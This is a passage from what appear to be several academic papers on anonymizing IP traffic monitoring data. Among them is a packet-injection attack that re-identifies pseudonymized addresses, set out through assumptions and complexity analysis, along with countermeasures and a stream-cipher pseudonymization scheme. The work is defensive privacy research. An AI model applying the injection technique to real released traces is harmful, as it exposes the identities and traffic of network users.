preserving pseudonymization, as this is a solution specif-
ically designed for monitoring data. This is further dis-
cussed below.
3 Anonymization of IP Traffic Monitoring
Data
As discussed in the introduction, anonymization of IP
traffic monitoring data calls for specialized anonymiza-
tion schemes. In this section, we discuss anonymization
schemes that have been designed for this purpose.
3.1 Prefix-preserving Pseudonymization
An anonymization scheme is prefix-preserving if, for any
two original IP addresses sharing a k-bit prefix, their
anonymized mappings will also share a k-bit prefix. The
tools TCPdpriv, wide-tcpdpriv, and Crypto-PAn are exam-
ples of prefix-preserving schemes, as discussed in [14, 15].
Prefix-preserving pseudonymization is particularly suitable
for anonymizing IP traffic monitoring data, as it preserves
information about the network topology. As an initial ex-
ample, we will provide a brief description of TCPdpriv.
TCPdpriv, written by Greg Minshall, stores a set of
original and anonymized IP address pairs. When a new
IP address arrives, it is compared with previous original
IP addresses in order to identify the longest prefix match.
The new IP address is anonymized by using the same
anonymized prefix as that of its match, whereas the remain-
ing part of the address is anonymized with a random value.
Since new pseudonyms are generated using random values,
TCPdpriv is not deterministic. The pseudonym for a given
IP address will differ between TCPdpriv sessions.
3.2 Cryptographic Prefix-preserving
Pseudonymization
Cryptographic prefix-preserving pseudonymization was
proposed in [14, 15] as an improvement of TCPdpriv.
Cryptographic prefix-preserving pseudonymization uses a
cryptographic algorithm rather than a random value. In
this way, the pseudonymization is uniquely determined by
an encryption key. As a result, this method is determin-
istic, and allows consistent prefix-preserving pseudonym-
ization in distributed environments and across sessions.
This scheme has been implemented in the tool Crypto-PAn.
Some improvements on Crypto-PAn were proposed in [12].
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Figure 1. Illustration of block anonymization shows how it provides bidirectional traffic with a unique hashed identifier, which
is equal for both directions.
3.3 Strengthened Hashing of IP Addresses
Another common technique for anonymizing IP addresses
in traffic data, is to apply a cryptographically strong hash
function to the plaintext IP address. This provides a plain-
text search space containing 2n elements, where n is the
length in bits of each IP address5.
In [3] we presented a scheme for constructing longer
hashes by hashing pairs of IP addresses, in order to in-
crease resistance to cryptographic attacks, as well as at-
tacks employing packet injection. With this scheme, all
traffic between two fixed parties A and B have the same
pseudonyms, regardless of packet direction. Information
about the packet direction is retained in a separate bit s.
This scheme is illustrated in Figure 1 and described in
Pseudocode 1.
PSEUDOCODE 1 block-anonymization(n, a, b, h)
IN: address length in bits n, source address a, destination
address b, cryptographically strong hash function h gen-
erating output at least 2n bits long, or keyed encryption
function h with blocklength 2n
OUT: two n-bit blocks a′ and b′ replacing the plaintext ad-
dresses a and b, respectively. One bit s indicating whether
a lexicographically precedes b or not.
if a lexicographically precedes b
return last 2n bits of h(a|b) split into two
n-bit bitstrings, along with s = 0
else
return last 2n bits of h(b|a) split into two
n-bit bitstrings, along with s = 1
end if
532 bits for IPv4 and 128 bits for IPv6.
3.4 Strengthened Prefix-Preserving Pseudo-
nymization
It is possible to strengthen prefix-preserving pseudonym-
ization with a technique similar to the one discussed above.
IP addresses pseudonymized with prefix-preserving
pseudonymization are split into a series of l blocks, each
block wi bits in length. w1 is the length of the most signif-
icant block, and wl the length of the least significant block.
Block l from source and destination are concatenated and
encrypted, producing rl. Block l − 1 from source and des-
tination are concatenated, and then concatenated with rl.
This is then encrypted, producing rl−1. This is repeated
until block 1 from source and destination are concatenated
along with r2, and all 2n bits are encrypted. This is the
essence of the algorithm described in Pseudocode 2 below.
PSEUDOCODE 2 hardened-pseudonymization-
2(n, a, b, g, l, {wi}li=1, ek, {fi}n−1i=0 )
IN: address length in bits n, source address a, destina-
tion address b, a permutation function g{1, . . . , 2n} −→
{1, . . . , 2n} the number l of sub-blocks, a list {wi}li=1
of sub-block lengths such that
∑l
i=1 wi = n, a
keyed block encryption function ek, that encrypts k-
bit blocks, a series {fi}n−1i=0 of encryption functions
f0, f1(a1), . . . , fn−1(a1, . . . , an−1) which return one bit
each
OUT: two n-bit blocks a′ and b′ replacing the plaintext
addresses a and b, one bit s indicating whether a lexico-
graphically precedes b or not
if a lexicographically precedes b
apply prefix-preserving pseudonymization to a to get c
apply prefix-preserving pseudonymization to b to get d
s← 0
else
apply prefix-preserving pseudonymization to a to get d
apply prefix-preserving pseudonymization to b to get c
s← 1
end if
i← l
p← 0
while i > 0 do:
p← p− wi
encrypt the concatenation of bits p+ 1, . . . , p+ wi
of c and d with the last n− p bits from
any previous encryption, if any with en−p
i← i− 1
end for
call the resulting cryptotext block r
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
Pseudocode 2 encrypts successively longer concate-
nations of corresponding blocks from source and destina-
tion addresses. Thus each header is now coupled to both
addresses in a communication. An adversary now sees all
pseudonymized pairs.
4 The Attack
We propose a new attack based on IP packet injection.
There are two variations of the proposed attack: one for
the strengthened pseudonymization algorithms presented
in [3], and one for individually pseudonymized addresses.
This section provides a description of the context and an
overview of injection attacks, as well as a detailed descrip-
tion of the two attack variations.
4.1 Context and Threat Model
It is important to be aware of the circumstances which make
the attack possible. The underlying scenario is that an
organization (such as a telecommunications operator or a
non-profit organization) releases IP traffic monitoring data
in a pseudonymized form. The IP traffic data is typically
captured from publicly available backbone networks using
programmable passive network monitoring cards capable
of capturing high-bandwidth traffic while performing on-
board data anonymization6. The pseudonymized data is
made available to third parties for analysis.
The main threat is that an adversary is able to compro-
mise the anonymization scheme and reidentify anonymized
network traces. This will enable the adversary to obtain
private or confidential information through the analysis of
traffic patterns. Given the circumstances in which traffic
data is made available, the following is assumed:
Assumption 1 The adversary is capable of ensuring that
injected packets are captured by at least one passive sensor.
6Examples of such cards are SCAMPI cards and Endace DAG cards.
If the adversary is capable of using more than one sensor
or even has direct access to monitoring interfaces, one can
assume that the adversary’s efficiency will be further in-
creased. This does, however, not appear to impact the com-
plexity of the attack presented in this paper.
Assumption 2 The adversary may send forged network
traffic with arbitrary source and destination IP addresses.
In other words, the adversary is capable of performing an
attack similar to a cryptographic chosen plaintext attack.
4.2 On Injection Attacks
Given the threat model in section 4.1, an adversary can send
an IP packet with arbitrary source and destination IP ad-
dresses, either through IP spoofing or by sending packets
from a variety of locations. By forging the packet header in
such a way that it is recognizable in its anonymized form,
an adversary is able to find an exact match between an orig-
inal and an anonymized IP address.
As already noted, the injection attacks described
in this paper are special cases of cryptographic chosen-
plaintext attacks. See [1] for a general treatment of such
attacks.
The use of repeated messages for revealing the cor-
respondence between original and anonymized data is dis-
cussed by Chaum in [4] and referred to as flush attacks by
Raymond in [11]. The forging of packet headers for reiden-
tification purposes is related to the message tagging attack
described by Raymond in [11]. It is further discussed in the
context of IP traffic monitoring data in [3, 10].
In the case of prefix-preserving pseudonymization, a
successful attack also reveals information about the prefix
for all other addresses with identical prefixes. Using this,
an adversary can build a binary tree mapping pseudonym-
ized addresses to original IP addresses.
4.3 Attacking Strengthened Pseudonym-
ization
The strengthened algorithms in [3] pseudonymize pairs of
IP addresses instead of pseudonymizing the addresses in-
dividually. Because the addresses in each pair are sorted
prior to pseudonymization, and an extra order bit stored, it
is easy to identify packets belonging to the same session,
as well as the direction of the packet.
In [3] the following assumption about the adversary’s
intentions was made:
Assumption 3 The adversary wants to pick out all pseudo-
nymized packets containing the IP address a in their head-
ers.
The attack is enabled by relaxing assumption 3 to as-
sumption 4.
Assumption 4 The adversary wants to pick out all pseudo-
nymized packets containing the IP address pairs (c, d) in
their headers such that either c = a and d ∈ B or c ∈ B
and d = a, where a is a fixed IP address and B is a fixed
set of IP addresses.
Based on assumption 4, we have a “set of interest”
with |B| pairs of addresses. Assign unique positive in-
teger weights to all address pairs, and inject this number
of packets into the network. Doing this so as to min-
imize the number of injected packets required, takes at
least
∑|B|
j=1 j = |B|(|B| + 1)/2 packets, which is order
O(n2). For each pseudonymized pair, record the number
of times it shows up in the traffic data. Then compare with
the plaintext pairs to match them. This can be done in
O(|B| log |B|) time by sorting both lists of pairs by their
frequencies of occurrence in the traffic data.
4.4 Attacking Individually Pseudonymized
Addresses
The relaxation represented by assumption 4 is only nec-
essary when attacking the strengthened pseudonymization
schemes presented in [3]. It is not necessary if IP ad-
dresses are pseudonymized individually. IP addresses that
have been pseudonymized without the strengthening tech-
niques can be compromised in a similar manner. The adver-
sary assigns to each address of interest an integer weight.
Since two individual addresses can be put into each packet
header, at least 12
∑|B|+1
j=1 j = (|B|+1)(|B|+2)/4 packets
are needed, which is still O(n2).
4.5 Analysis
Thus circumventing conventional pseudonymization tech-
niques, as well as the strengthened pseudonymization
scheme, requires O(n2) packets and thus O(n2) time.
If, however, packet injection can be injected and ex-
tracted in the same order without packet loss or reordering,
an adversary can perform the attacks in O(n) time using
O(n) packets. Note that such an approach requires that
packets are injected with a minimal separation in time in
order to minimize the amount of packet reordering. As a
special case of the attacks described in this paper, any sin-
gle pseudonymized IP address or IP address pair can be
reidentified in O(1) time.
Finally it is important to keep in mind that these
attacks apply to all types of anonymized traces of IP
traffic, as long as IP addresses are pseudonymized with
static pseudonyms. The attacks are not limited to prefix-
preserving pseudonymization techniques, nor conventional
hashing techniques. They apply to all static pseudonymiza-
tions of IP addresses, and to all static anonymization tech-
niques that are “almost” pseudonymous, such as hash func-
tions. As mentioned above, the probability of collisions
in hashes of IP addresses is negligible. Thus the hashing
scheme can for practical purposes be considered a pseudo-
nymization scheme, which means that this attack strategy
should succeed with a very high probability.
5 Countermeasures
We have identified three possible ways of attempting to
counter the attack presented in section 4.
Employ non-static pseudonyms for IP addresses. This
is a potential research topic, due to the functional require-
ments for traffic data. Traffic data should ideally be ef-
ficiently searchable and indexable, as well as effectively
anonymous, and thus resistant to our attacks.
Employ mandatory sampling at the monitoring sensors.
This will increase the cost of performing a successful in-
jection attack. This necessitates the use of redundant in-
jected packets to ensure capture of the relevant packets in
the trace, and it also increases the probability that the in-
jected packets will not have correct relative weighting in
the traffic data. In other words it increases the cost of the
attack, as well as the probability of detecting it.
Detect and prevent packet injection attempts. This can
for instance be done through the detection and removal of
malformed packets. However, this could impact measure-
ments, such as measurements designed to capture network
errors. Also, a resourceful adversary would most likely be
able to circumvent such a protection system.
6 Conclusions
We have presented two variants of what is essentially the
same attack, employing packet injection, that can compro-
mise any form of static pseudonymization of IP addresses.
This attack demonstrates that static pseudonymization of IP
addresses does not provide sufficient privacy in traffic data
released for analysis purposes. This is a disquieting con-
clusion to say the least. There is a very real possibility that
such attacks may already have taken place.
A corollary of this conclusion is that extreme care is
required when implementing anonymization schemes for
IP traffic monitoring data. Failure to understand the effi-
ciency of traffic analysis, in particular if packet injection is
possible, may result in very weak anonymity for the users
of the monitored networks.
An alternate class of pseudonymization techniques is
in urgent need of research to enable the secure release of
pseudonymized and anonymized IP traffic data.
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Abstract. This paper presents a scheme for transaction pseudonymiza-
tion of IP address data in a distributed passive monitoring infrastructure.
The approach provides high resistance against traffic analysis and in-
jection attacks, and it provides a technique for gradual release of data
through a key management scheme. The scheme is non-expanding, and
it should be suitable for hardware implementations for high-bandwidth
monitoring systems.
1 Introduction
This paper presents a scheme for transaction pseudonymization1 of IP addresses
in traffic data collected from distributed passive network monitoring sensors on
high-capacity network links. This work continues our earlier work in evaluating
candidate solutions for anonymization of passive monitoring data in the context
of the LOBSTER 2 and SCAMPI 3 projects. The motivation for this research is
that pseudonymization of network monitoring data becomes challenging when
it must simultaneously satisfy the conflicting requirements of privacy and traffic
analysis applications. Also, the huge amount of real-time data handled at high-
capacity backbone network connections imposes strict resource constraints.
We begin by introducing some terminology, along with the context and mo-
tivation for this work. After listing some pivotal assumptions, we give a brief
overview of injection attacks, which our work is designed to protect against.
Some related work is mentioned, before we proceed with a description of the
1 We employ this term in the sense of “one-time pseudonyms” as mentioned in [1]. We
have previously used the term instance specific pseudonymization in our papers.
2 LOBSTER is a pilot European Infrastructure for large-scale monitoring of broadband
Internet infrastructure, see http://www.ist-lobster.org/.
3 SCAMPI is a EU project for creating a scalable and programmable monitoring
platform for the Internet, see http://www.ist-scampi.org/.
scheme and its associated key management scheme. The paper ends with a de-
scription of the scheme’s capabilities, and an analysis of some of its security
properties. Finally, we present the conclusions of this work.
We have previously shown that an active adversary could efficiently attack
prefix-preserving pseudonymization of IP addresses gathered using passive net-
work monitors[2]. We have also demonstrated how any static pseudonymization
scheme fails in the face of injection attacks, where an adversary sends forged IP
packets with arbitrary source and destination IP addresses in such a way that
they are recognizable in their pseudonymized forms [3].
The term static pseudonymization, refers to a scheme where each plaintext
value has a unique and unchanging pseudonym. Transaction pseudonymization
refers to a scheme where each pseudonym for a plaintext value is unlinkable4
to any other pseudonym of the same plaintext value. In this way, there is no
recognizable relationship between different pseudonyms of the same plaintext
value.
The scheme presented in this paper is transaction specific, providing protec-
tion against injection attacks, while supporting efficient matching of pseudonyms
for an authorized user through the use of partial disclosure of address informa-
tion. The scheme is non-expanding and requires no more storage space than the
original plaintext address. It is intended to provide a flexible solution for pseu-
donymization in high-capacity networks, supporting different applications and
user groups with various requirements and trust levels.
1.1 Context and Threat Model
In the following, we base our context and threat model assumptions on [2, 3].
A reiteration is given here for the benefit of the reader. We consider only the
pseudonymization of IP-addresses, although our methods are applicable to other
data types as well. The IP addresses are assumed to be n bits in length.
The context is that of passive sensors monitoring an IP network, and anony-
mizing captured traffic data. The sensors are programmable network monitoring
cards5 capable of operating on high-capacity links (≤ 10Gbit/s). The IP ad-
dresses are anonymized at the sensor node, and a sensor identifier is appended
to the data. The data rates involved impose strict performance requirements on
all processing tasks. As the network monitoring system is distributed, the pseu-
donymization scheme has to be consistent across the sensors in order to support
distributed analysis applications.
We wish to prevent adversaries from reidentifying IP addresses under the
following assumptions:
Assumption 1 The adversary may send forged network traffic with arbitrary
source and destination IP addresses.
4 Unlinkability means that “two or more items within a system are no more and no
less related than they are related concerning a-priori knowledge” [1].
5 Examples of such cards are SCAMPI cards and Endace DAG cards.
Assumption 2 The adversary is capable of ensuring that injected packets are
captured by at least one passive sensor.
Assumption 3 The adversary may access all anonymized data from a set of
sensors, such that their monitoring data contains the injected packets.
In other words, the adversary is capable of performing injection attacks, a
special case of the cryptographic chosen plaintext attack. An attacker can send
an IP packet with arbitrary source and destination IP addresses. By forging the
packet header so that it is recognizable in its anonymized form, the attacker
will be able to find an exact match between an original and an anonymized IP
address. This is a general problem with pseudonymization schemes, as shown
in [2, 3].
1.2 Protecting Network Monitoring Data against Injection Attacks
In [3], we suggested the use of non-static pseudonyms for IP addresses as a
possible countermeasure against the attacks that have been discovered. Such a
solution should ideally satisfy the following criteria:
– Each pseudonymization of the original data should be a transaction pseudo-
nym, so that there is no recognizable relationship between different pseudo-
nyms of the same original data;
– the data should be efficiently searchable for an authorized user with the
appropriate credentials; and
– only the the minimum information about the plaintext data required by an
authorized application should be revealed.
If these criteria can be met by a pseudonymization scheme, the scheme should
provide both resistance against traffic analysis, as well as support for authorized
analysis applications. This concept of pseudonymization is similar to multi-show
anonymity. The multi-show capability [4] bases itself on proving the existence
of a constant credential, and that the credential satisfies certain criteria. In our
case, we generate a number of different unique pseudonyms for the original value
in order to prevent injection attacks and the most obvious cryptographic attacks.
An example where partial disclosure of information might be needed, but
plaintext data is not needed, is in performance measurements for the network
backbone. In such a case, only some topology information is needed, and this
does not require the use of plaintext IP addresses. One important operation
is matching packets in order to carry out performance measurements in the
network. Also the ability to efficiently match addresses is necessary for analysis
where request/response packets are paired. Thus a primary criterion deciding
the usefulness of any transaction pseudonymization is how efficiently address
matching can be done without compromising the pseudonyms. Alternately, the
question is to what degree one must reveal information in order to allow efficient
matching.
We can imagine the following two variations of non-static pseudonymization
schemes for IP traffic data:
– transaction specific, where each occurrence of a datum d has a unique pseu-
donym; and
– session specific, where occurrences of a datum d have pseudonyms unique to
a session.
We have decided to concentrate on transaction specific pseudonymization, and
believe this to be the best one. Sessions have no general upper bound on the
number of packets required for them to run to completion. Also, depending
on the type of session in question, and the design quality, the semantics of
whether or not a session is active or terminated at any given point in time can
be ambiguous. Thus there appear to be some fundamental problems associated
with doing session specific pseudonymization.
The basic property we want to achieve is unlinkability between different
pseudonyms—even if they are instances of the same IP address. The schemes
discussed are generally applicable to the anonymization of both individual IP-
addresses, pairs of IP-addresses, as well as other types of data. The cryptographic
approaches are generally reversible, but they can be made irreversible through
the use of one-way functions6.
1.3 Related Work
Much of the early work in anonymization was related to solving the problem
of traffic analysis. Two solutions to this problem was published by Chaum in
1981 [6] and 1988 [7], called mix networks and dc networks respectively. Simi-
larly, there has been an ongoing effort to improve traffic analysis methodologies
in order to compromise such networks. Raymond [8] has provided an overview
of current traffic analysis research, and another overview, with a proposal for
terminology for the field of anonymity, was published by Pfitzmann and Koehn-
topp [1].
The issue of using pseudonymous network monitoring traces is discussed in [9,
10], and later work in this area has focused on prefix-preserving pseudonymiza-
tion [11, 12]. An efficient implementation of prefix-preserving pseudonymization
for network processors was proposed in [13]. However, we demonstrated in [2, 3]
that all static pseudonymization schemes, and prefix-preserving pseudonymiza-
tion schemes in particular, are vulnerable to injection attacks.
In [14] Pang and Paxton address the problem of anonymization of logged
traffic data at a higher level of abstraction. They suggested a scheme and imple-
mented a tool for transforming higher level content to an anonymized state using
transformation scripts. However, this requires that every protocol be parsed and
scrubbed, and the many possible covert channels in known protocols can be used
to achieve injection attacks even against anonymized protocols.
Related work in solving the pseudonymization problem has been suggested
using revocable privacy [15] and zero-knowledge proofs [16]. Camenish and Lys-
yanskaya [4] presented a protocol for revocable anonymity for users within dif-
ferent organizations, but it depends on the use of asymmetric cryptography and
6 See definition 9.9, page 327 in [5].
an unproven cryptographic primitive. The multi-show capability [4] bases itself
on proving the existence of a constant credential, and that the credential sat-
isfies certain criteria. Some work on multi-show anonymous credentials in the
context of constructing anonymous networks has been done in [17], and systems
for anonymous multi-show credentials have also been presented in [4].
2 A Stream Cipher-based Pseudonymization Scheme
This section shows how stream ciphers can be employed to construct a non-
expanding transaction specific pseudonymization scheme. The fact that it is
non-expanding means that it does not increase storage complexity, and in turn
storage costs.
The essence of the scheme is to partition each IP address into l bitstring
segments of length w1, w2 . . . , wl, respectively. The pseudonymization proceeds
by running a stream cipher for each of the l segments. The stream cipher for
each segment j runs in counter mode [5], operates on the segments of length wj ,
and increments the “counter” for each crypto block. We refer to this counter as
the initialization vector (IV).
First we describe the stream cipher mode used in this paper. Based on this,
we present a bitwise pseudonymization scheme which is a specific instance of
a more general segmented pseudonymization scheme working on segments (i.e.
bitstrings). Using the bitwise scheme we describe how to construct a more general
scheme.
2.1 Stream Ciphers
Stream ciphers (see [5, 18]) are algorithms that encrypt plaintext a number of
bits at a time. For the purpose of this paper we are using all bits from the
output, 1 bit at a time. A stream cipher can be either synchronous or self-
synchronous, depending on whether the key stream is independent of the message
stream or not. In a synchronous stream cipher, the key stream is independent
of the message stream, so that the encrypting and decrypting parties have to be
synchronized with respect to the key stream generation.
A counter mode stream cipher is a type of synchronous stream cipher that
uses a simple next-state function (usually a counter) and a nonlinear output
transformation dependent on a key to produce its output (see [19]). An advantage
of this mode is that it provides random access to plaintext data. However, self-
synchronization with the ciphertext stream is not possible—it is not possible to
start the decryption based on availability of a sufficient amount of ciphertext.
Random access to data is only possible given the right initialization vectors and
decryption keys. Another advantage with synchronized block ciphers is that there
is no inherent error propagation. Accordingly, error correction is not considered
in this paper, although it may be required for some applications.
2.2 Bitwise Non-expanding Pseudonymization
We start our discussion with a method for individual bitwise pseudonymization
of IP addresses. A generalization of this scheme is outlined in Sect. 2.3. We
encrypt each bit in a block of data with an individual key stream applied to that
specific bit position in every concurrent block of data.
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Fig. 1. Example of bitwise pseudonymization using a counter mode stream cipher
The collected traffic data can be considered an ordered list of rows. Each row
contains the data collected from one packet. Before applying the pseudonymiza-
tion itself, this list is split into a series of sublists in order to facilitate the key
management scheme presented in Sect. 3.
In the bitwise scheme, applied to a sublist, we have an IP address of n bits,
a1a2 · · · an, that is to be pseudonymized. Figure 1 shows how this scheme works
on individual bits in the IP addresses. We have n individual stream ciphers in
counter mode, S1, S2, . . . , Sn, individually keyed with keysK1,K2, . . . ,Kn, using
the same initialization vector IV and supplying a stream of b bits per round. This
bitstream is used to encrypt one bit column in b consecutive IP addresses. In
other words, for every bit from stream Sj , one bit from the IP address aj is
pseudonymized into pj . IV is incremented synchronously for all streams after b
IP addresses have been pseudonymized. In this way, individual bit columns in
the pseudonymized IP addresses can be revealed to users in a non-expanding
manner.
When the rows of encrypted data are written to log files there will be no
information linking two log entries with the same plaintext. The scheme also
allows partial release of individual bits. For example, we release the first 24 bits
in an IP address to allow a view of class C subnet activity without revealing
information about the 256 individual addresses within that subnet. This also
hides information about the traffic distribution to between individual hosts on
within the subnet.
2.3 General Non-expanding Pseudonymization
We extend this bitwise model to a more general scheme introducing l segments
of bitstrings, w1, w2, . . . , wl covering all n bits of the IP address, Σli=1wi = n,
as shown in Fig. 2. The reason for grouping the bit columns is that users most
often do not need access to individual bits.
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Fig. 2. General non-expanding stream pseudonymization
For each segment j we have a generalized stream cipher, S′j , that in essence
consists of wj bitwise stream ciphers as in Sect. 2.2. However, these stream
ciphers are individually keyed from a strong pseudorandom sequence based on
one key, Kj .
The bitwise stream ciphers are used even in the general scheme, as it is easier
to implement, while preserving the flexibility of grouping the bits as needed.
We still have the same number of encryptions due to the constant amount of
data to be encrypted, and we observe that this must be the minimal number of
encryptions needed in order to have partial release of the individual groups.
3 Key Scheme
The key scheme has been designed with the following criteria in mind:
1. key generation must be easy, given some master key, so that it is not neces-
sary to store and administer large numbers of keys;
2. access to individual address pseudonyms should be as close to random access
as possible; and
3. release of key material to enable disclosure should result in an access capa-
bility which is limited in both time and space.
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Fig. 3. Segments, sublists, IVs and key usage
The captured traffic data can be viewed as a long list of rows, each row
containing packet header data for one packet. This list is split into a series of
sublists as shown in Fig. 3. Each IP address is split into a series of segments.
Fix the three stream ciphers below.
1. One cipher encrypts each column of bits in the IP addresses as a bit stream,
and is referred to as the column cipher. This cipher is thus used for the
pseudonymization itself, which is done sublist by sublist.
2. One cipher is used to generate the initialization vectors for each sublist, and
is referred to as the sublist IV generator.
3. One cipher is used to generate the keys for the column cipher, and is referred
to as the segment key generator.
Assumption 4 The stream ciphers employed are semantically secure.
To enforce limited access in time and space, each sublist is assigned a unique
initialization vector, and each segment in the IP addresses is assigned a unique
key.
The column cipher operates in counter mode, and encrypts segments. The
key for this cipher is determined by which segment (i.e. the ith segment) out of
the l possible segments is being encrypted. For reasons of efficiency, however, wi
stream ciphers are used in parallel for segment i. In order to avoid use of the
same key for all wi stream ciphers, the key for the stream cipher encrypting the
hth bit in segment i uses key Ki + h− 1.
The initialization vector for the cipher is determined by the initialization
vector for the sublist in which it is currently operating, and the number of rows
from the top. If it is j rows from the top, then the effective initialization vector is
IV+g(j), where g(j) is some function of j such that g(j) ≤ j. g is necessary, as a
stream cipher in counter mode generally produces a number b of bits. Instead of
using only one bit, we would like to use as many as possible before incrementing
the initialization vector. Typically g(j) = bj/bc.
The l keys for each of the l segments are fixed for the entire list. The segment
key generator is used to generate keys for each bit column. Thus these keys
number at most n, which is the number of bits in an IP address, and can easily
be stored and managed.
The sublist IV generator is used to generate a key stream. This key stream is
split into a series of bitstrings of equal length. The length is selected so that these
bitstrings can be used as initialization vectors for the column cipher. this way,
the initialization vectors for individual sublists can be generated quickly and
securely. One such initialization vector is stored for each sublist. If this should
be too much, the complexity of regenerating the relevant initialization vector on
demand should be surmountable.
Random access to specific segments of individual addresses is then possible
by knowing: the segment key, the initialization vector of the block, the function
g (which is fixed for a list and public), and the row number of the packet data
in question.
4 Properties of the Scheme
In this section, we describe important functional aspects of the scheme and its
use.
4.1 Transaction Specificity
We now show that we have produced a transaction specific pseudonymization
scheme. Assume that the initialization vectors have length v. Each IP address
instance has been given a unique pseudonym, in spite of the fact that each pseu-
donym has a length equal to the original address. To see how this is possible,
note that decrypting a pseudonym depends on knowledge of a number of keys,
and in addition the exact position in the list of the specific pseudonym instance.
Strictly speaking, the pseudonym is thus the pair (i, p), where i is the row num-
ber, and p is the encrypted address. Since, however, i is implicitly given, it is
not necessary to store, and so the scheme ends up as non-expanding. As a re-
sult, it is important that the pseudonymized list be stored with captured packet
information in the order in which it was pseudonymized. Thus the scheme is
transaction specific, but only probabilistically so.
4.2 Random Access to Pseudonyms
Access to the pseudonyms themselves is as close to random access as efficient
use of the stream ciphers will allow. Rows are effectively accessed in groups of
b consecutive rows at a time, and the specific group of rows can be accessed
directly without any other processing than that required to generate decryption
keys (in the case where segments may contain more than one bit), and generate
the appropriate IV. Both these generation tasks are exercises in table lookups
and a small number of addition operations, bounded by n for the keys, and by
a constant for the IV. Thus an access form very close to true random access is
efficient, and possible, given that sublists are not reordered, or that their ordering
is explicitly marked.
4.3 Limiting Access with Initialization Vectors and Segment Keys
With respect to limiting access, first note that each sublist has its own IV. Since
each such IV is generated by a secure stream cipher, there is no exploitable sta-
tistical correlation between the sublist IVs. Thus knowledge of one IV does not
allow an adversary to deduce IVs for previous or subsequent sublists. Similarly,
knowledge of one segment key does not allow deduction of the other segment
keys, provided they are randomly chosen. Because decryption of one or more ad-
dress bits requires knowledge of both IV and at least one segment key, knowledge
of a segment key alone does not enable decryption of bits in that same segment
in other sublists than the ones for which an adversary has IVs.
4.4 Combination of Schemes: Anonymity and Protection
The scheme as presented so far provides access to a number of bits of address
information in plaintext to authorized users. Partial disclosures of plaintext data
may however be unacceptable in some situations. In such cases, the data could be
pseudonymized with a static pseudonymization scheme, such as cryptographic
prefix-preserving pseudonymization7, before it is protected with transaction spe-
cific pseudonymization. In this way trusted users are given access to parts of the
7 An anonymization scheme is prefix-preserving if, for any two original IP addresses
sharing a k-bit prefix, their anonymized versions will also share a k-bit prefix. The
tools TCPdpriv, wide-tcpdpriv, and Crypto-PAn are examples of prefix-preserving
schemes, as discussed in [11, 12].
prefix-preserving pseudonym. These users are obviously able to perform injec-
tion attacks, but the effect of such attacks are reduced through the practice of
partial disclosure.
The combined scheme suggested above provides partial disclosure of data in
a flexible manner, while still protecting private data. Disclosure is performed in
two steps:
1. disclosure of encryption keys and relevant IVs for the transaction specific
pseudonymization function discloses partial information about the static
pseudonym; and
2. disclosure of encryption keys for the cryptographic prefix-preserving discloses
information about the plaintext address.
This combination scheme provides full support for pseudonymity revocation.
5 Security Aspects of the Scheme
In this section we analyze the security of our transaction specific pseudonymi-
zation scheme, concentrating on the collision properties of the components. We
demonstrate that the criteria stated in section 1.2 can be systematically deter-
mined and met. The security of the scheme presented in this paper depends on
the security of the ciphers used to:
1. generate the individual column keys (segment key generator);
2. encrypt the segments themselves (column cipher); and
3. generate the initialization vectors for the sublists (sublist IV generator).
Assumption 4 implies that any two bits the stream ciphers output are sta-
tistically independent, and that it is not possible to infer any simple functional
relation between any two bits in the stream without knowledge of both key and
initialization vector. Furthermore, the sublist IV and segment key generators
should be ciphers with key length no less than that employed for the column
cipher.
5.1 Security of the Segment Key Generator
Since IP addresses are split into l segments, the segment key generator generates
a set κ = {K1, . . . ,Kl} of L-bit keys. One or more of these keys may be released
to a party granted access to the corresponding IP address segments in one or
more sublists. There are
∏l
i=1 2
L = 2lL possible ways of selecting κ.
A possible weakness arises if a key is selected more than once. wi−1 additional
keys are generated from Ki as a series of successive increments from Ki. Thus
the effective set of keys is K1, . . . ,K1 + w1 − 1, . . . ,Kl, . . . ,Kl + wl − 1. There
are 2L −∑ij=1 (wj + wi+1 − 1) ways of selecting key number i + 1 so that no
key is used twice. Thus the probability of no collision is:
p0 =
l∏
i=1
2L −∑i−1j=1 (wj + wi − 1)
2L
. (1)
5.2 Column Cipher Security
In this subsection ignore key generation aspects and assume that the key for
the individual column is genuinely random and unknown to attackers. Given
such keys, the cipher and its use within this scheme is semantically secure by
assumption.
5.3 Security of the Sublist IV Generator
Assuming that counter mode encryption is secure, it is conceivable that a colli-
sion can occur. Initialization vectors are generated at random for each sublist.
If sublists have length s, and two sublists have initialization vectors Ii and Ij ,
i 6= j, such that |Ii − Ij | < s/b, there is a possibility that the same address has
been encrypted with the same effective IV twice.
The column cipher produces b bits per round of encryption. Assume that s
is a multiple of b. When m sublists of length s have associated IVs generated for
them, the number of possible effective IVs is ms/b in all. This is selected from
in all 2L IVs, where L is the key length of the sublist IV generator. There are∏m
i=1 2
L possible IVs. Assume that i − 1 IVs have been selected so that their
respective sublists have no overlap of effective IVs. Selecting the ith IV with no
resulting overlap can be done in 2L − i ( 2sb − 1) ways. Thus the probability of
selecting IVs so that there is no IV collision anywhere is:
p0 =
m−1∏
i=0
(
2L − ( 2sb − 1) i)
2L
=
m−1∏
i=0
(
1− 2−L
(
2s
b
− 1
)
i
)
. (2)
Ignoring products with factors of the form 2−Li, where i > 1, one conservative
approximation is:
p0 ≈ 1− 2−L
m−1∑
i=0
(
2s
b
− 1
)
i = 1− 2−L
(
2s
b
− 1
)
m
2
(m− 1). (3)
Thus the approximate probability of at least one collision occurring is
pc = 1− p0 ≈ 2
−L−1
b
(
2m2s− 2ms−m2b+mb) . (4)
Fix pc at a desired level, then:
L ≈ − log2 b− log2 pc + log2m+ log2 (2ms− 2s−mb+ b)− 1. (5)
6 Conclusion
We have presented a scheme for non-expanding transaction specific pseudonymi-
zation. This scheme provides protection against injection attacks and still allows
individual release of bit columns in the addresses. We have also proposed a key
management scheme and a combination scheme that provides practical trust
management for the application of the scheme.
We have analyzed selected aspects of the scheme and shown that it allows
efficient, nearly random access of pseudonymized data with a surmountable over-
head. It is easily amenable to parallelization in a way which should allow efficient
hardware implementation. This is important for the scheme’s application poten-
tial in large scale traffic data collection.
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Abstract. This paper considers a real-time risk assessment method for
information systems and networks based on observations from networks
sensors such as intrusion detection systems. The system risk is dynam-
ically evaluated using hidden Markov models, providing a mechanism
for handling data from sensors with different trustworthiness in terms of
false positives and negatives. The method provides a higher level of ab-
straction for monitoring network security, suitable for risk management
and intrusion response applications.
1 Introduction
Risk assessment is a central issue in management of large-scale networks. How-
ever, current risk assessment methodologies focus on manual risk analysis of
networks during system design or through periodic reviews. Techniques for real-
